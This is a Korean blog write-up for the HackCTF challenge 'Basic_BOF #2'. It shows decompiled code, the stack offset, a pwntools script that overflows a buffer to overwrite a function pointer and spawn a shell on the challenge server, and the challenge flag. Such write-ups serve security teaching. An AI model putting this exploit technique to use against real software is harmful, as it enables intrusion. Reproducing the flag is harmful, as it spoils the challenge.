ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Basic_BOF #2
    CTF/HackCTF 2021. 1. 21. 00:39

    Disassembly 디스어셈블리


    undefined4 main(void)
    {
        undefined auStack148 [4];
        char *s;
        code *pcStack20;
        int32_t var_ch;
        undefined *puStack12;
        int32_t var_4h;
        
        puStack12 = &stack0x00000004;
        pcStack20 = sup;
        fgets(auStack148, 0x85, _reloc.stdin);
        (*pcStack20)();
        return 0;
    }

    main() 함수를 살펴보면 auStack148에 0x85만큼 입력받고 pcStack20에 적힌 주소로 점프한다.

     

    void shell(void)
    {
        system("/bin/dash");
        return;
    }

    따라서 pcStack20의 값을 shell() 함수의 주소로 덮어쓰면 될 것이다.

    Buffer Overflow


    smain()

    [s]에서 일어난 버퍼 오버플로우로 [var_ch]를 덮을 것이고, offset 차이는 0x8c-0xc이다. 

    따라서 0x8c-0xc 만큼의 더미 뒤에 shell()의 주소를 입력하면 문제를 해결할 수 있다.

     

    Code

    더보기
    from pwn import *
    
    binary = "./bof_basic2"
    server = "ctf.j0n9hyun.xyz"
    port = 3001
    
    # context.log_level = 'debug'
    context.binary = binary
    
    p = remote(server, port)
    # p = process(binary)
    e = ELF(binary)
    
    payload = b"A"*(0x8c-0xc) 
    payload += p32(e.symbols["shell"])
    p.sendline(payload)
    
    p.interactive()

    Flag

    HackCTF{h3y_dud3_600d_f0r_y0u}

    'CTF > HackCTF' 카테고리의 다른 글

    Simple_Overflow_ver_2  (0) 2021.01.21
    x64 Simple_size_BOF  (0) 2021.01.21
    x64 Buffer Overflow  (0) 2021.01.21
    내 버퍼가 흘러넘친다!!!  (0) 2021.01.21
    Basic_BOF #1  (0) 2021.01.21

    댓글

Designed by Tistory.